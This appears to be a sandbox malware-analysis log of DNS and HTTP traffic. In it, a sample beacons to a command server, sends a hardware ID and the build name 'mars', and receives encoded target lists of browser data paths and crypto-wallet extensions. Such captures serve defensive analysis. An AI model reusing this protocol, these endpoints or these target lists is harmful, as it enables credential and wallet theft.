Nov 18, 2024 00:27:46.989176989 CET	192.168.2.6	1.1.1.1	0xbd8d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 00:29:19.013864040 CET	192.168.2.6	1.1.1.1	0x54bf	Standard query (0)	home.fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:29:19.014003992 CET	192.168.2.6	1.1.1.1	0xafe7	Standard query (0)	home.fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 00:29:19.027745962 CET	192.168.2.6	1.1.1.1	0x54bf	Standard query (0)	home.fvtejj5vs.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 18, 2024 00:27:15.236917973 CET	1.1.1.1	192.168.2.6	0xac19	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:15.236917973 CET	1.1.1.1	192.168.2.6	0xac19	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:32.093728065 CET	1.1.1.1	192.168.2.6	0x2ea0	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:32.094131947 CET	1.1.1.1	192.168.2.6	0xff55	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 18, 2024 00:27:37.511604071 CET	1.1.1.1	192.168.2.6	0xe035	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:37.511604071 CET	1.1.1.1	192.168.2.6	0xe035	No error (0)	plus.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:37.521313906 CET	1.1.1.1	192.168.2.6	0xea9d	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:38.491049051 CET	1.1.1.1	192.168.2.6	0x9c18	No error (0)	play.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:42.546014071 CET	1.1.1.1	192.168.2.6	0x2781	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:42.546248913 CET	1.1.1.1	192.168.2.6	0x7e0	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:42.555417061 CET	1.1.1.1	192.168.2.6	0xc30e	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:42.555417061 CET	1.1.1.1	192.168.2.6	0xc30e	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:42.557236910 CET	1.1.1.1	192.168.2.6	0x9826	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:43.715470076 CET	1.1.1.1	192.168.2.6	0xaa72	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:43.716854095 CET	1.1.1.1	192.168.2.6	0x3051	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:46.018138885 CET	1.1.1.1	192.168.2.6	0x735a	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:46.018369913 CET	1.1.1.1	192.168.2.6	0x6419	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:46.060056925 CET	1.1.1.1	192.168.2.6	0x2687	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:46.060056925 CET	1.1.1.1	192.168.2.6	0x2687	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:46.060056925 CET	1.1.1.1	192.168.2.6	0x2687	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:46.060056925 CET	1.1.1.1	192.168.2.6	0x2687	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:46.101670027 CET	1.1.1.1	192.168.2.6	0x1da7	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:46.102142096 CET	1.1.1.1	192.168.2.6	0x36db	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:46.244330883 CET	1.1.1.1	192.168.2.6	0x4b51	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:46.245141983 CET	1.1.1.1	192.168.2.6	0x2ba7	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:46.523497105 CET	1.1.1.1	192.168.2.6	0x9946	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:46.523515940 CET	1.1.1.1	192.168.2.6	0x85c5	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:46.523515940 CET	1.1.1.1	192.168.2.6	0x85c5	No error (0)	googlehosted.l.googleusercontent.com		142.250.184.193	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:46.990292072 CET	1.1.1.1	192.168.2.6	0x369e	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 00:27:46.990406036 CET	1.1.1.1	192.168.2.6	0xcc9d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:46.990406036 CET	1.1.1.1	192.168.2.6	0xcc9d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:46.990890980 CET	1.1.1.1	192.168.2.6	0x8afc	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:46.990890980 CET	1.1.1.1	192.168.2.6	0x8afc	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:46.991014957 CET	1.1.1.1	192.168.2.6	0x1ee4	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 00:27:46.997282982 CET	1.1.1.1	192.168.2.6	0xbd8d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 00:27:46.997344971 CET	1.1.1.1	192.168.2.6	0xf135	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:46.997344971 CET	1.1.1.1	192.168.2.6	0xf135	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:48.146014929 CET	1.1.1.1	192.168.2.6	0xa824	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:48.146014929 CET	1.1.1.1	192.168.2.6	0xa824	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:48.780777931 CET	1.1.1.1	192.168.2.6	0xaa53	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:48.780777931 CET	1.1.1.1	192.168.2.6	0xaa53	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:49.749197006 CET	1.1.1.1	192.168.2.6	0x380f	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:49.791883945 CET	1.1.1.1	192.168.2.6	0x427a	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:49.791883945 CET	1.1.1.1	192.168.2.6	0x427a	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:51.262908936 CET	1.1.1.1	192.168.2.6	0xd806	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:27:51.262908936 CET	1.1.1.1	192.168.2.6	0xd806	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:51.263005018 CET	1.1.1.1	192.168.2.6	0xdd35	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 00:29:20.300756931 CET	1.1.1.1	192.168.2.6	0x54bf	No error (0)	home.fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49741	185.215.113.206	80	2496	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 00:27:22.483956099 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 00:27:23.375813961 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 00:27:23.532258034 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECAEBGHDAEBFHIEGHI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 38 43 37 31 31 37 38 42 32 44 37 32 32 38 34 35 38 32 31 32 37 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 2d 2d 0d 0a Data Ascii: ------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="hwid"98C71178B2D72284582127------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="build"mars------BKECAEBGHDAEBFHIEGHI--
Nov 18, 2024 00:27:23.823484898 CET	407	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 44 4a 6c 59 32 4a 6d 4d 32 45 7a 4d 7a 4d 77 4f 57 5a 6d 59 7a 68 6a 4d 47 52 69 4e 7a 64 6b 4d 57 46 6d 4f 54 67 7a 4d 32 55 30 5a 57 46 6d 4e 54 59 77 4e 6a 41 35 4d 32 4e 6b 4e 7a 5a 69 4e 7a 42 69 5a 6a 46 6a 4f 44 45 32 4e 54 49 33 59 6d 45 79 4e 7a 5a 6b 4e 7a 64 6b 4d 57 45 32 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NDJlY2JmM2EzMzMwOWZmYzhjMGRiNzdkMWFmOTgzM2U0ZWFmNTYwNjA5M2NkNzZiNzBiZjFjODE2NTI3YmEyNzZkNzdkMWE2fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 18, 2024 00:27:23.842708111 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFBAFIDAECAKFHJDBAF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 41 46 49 44 41 45 43 41 4b 46 48 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 41 46 49 44 41 45 43 41 4b 46 48 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 41 46 49 44 41 45 43 41 4b 46 48 4a 44 42 41 46 2d 2d 0d 0a Data Ascii: ------HCFBAFIDAECAKFHJDBAFContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------HCFBAFIDAECAKFHJDBAFContent-Disposition: form-data; name="message"browsers------HCFBAFIDAECAKFHJDBAF--
Nov 18, 2024 00:27:24.119389057 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 18, 2024 00:27:24.119491100 CET	112	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGlj
Nov 18, 2024 00:27:24.119502068 CET	908	IN	Data Raw: 59 58 52 70 62 32 35 63 66 44 64 54 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e Data Ascii: YXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnR
Nov 18, 2024 00:27:24.121213913 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFCGIDAKECGCBGDBAFI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 2d 2d 0d 0a Data Ascii: ------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="message"plugins------FBFCGIDAKECGCBGDBAFI--
Nov 18, 2024 00:27:24.398130894 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:24 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 18, 2024 00:27:24.398155928 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 18, 2024 00:27:24.398165941 CET	424	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 18, 2024 00:27:24.398221970 CET	1236	IN	Data Raw: 61 6d 39 75 59 6d 5a 69 5a 32 46 76 59 33 77 78 66 44 42 38 4d 48 78 48 62 32 4a 35 66 47 70 75 61 32 56 73 5a 6d 46 75 61 6d 74 6c 59 57 52 76 62 6d 56 6a 59 57 4a 6c 61 47 46 73 62 57 4a 6e 63 47 5a 76 5a 47 70 74 66 44 46 38 4d 48 77 77 66 46 Data Ascii: am9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3wxfDB8MHxCeW9uZXxubGdiaGRmZ2RoZ2JpYW1mZGZtYmlrY2RnaGlkb2FkZHwxfDB8MHxPbmVLZXl8am5tYm9iam1obG5nb2VmYWl
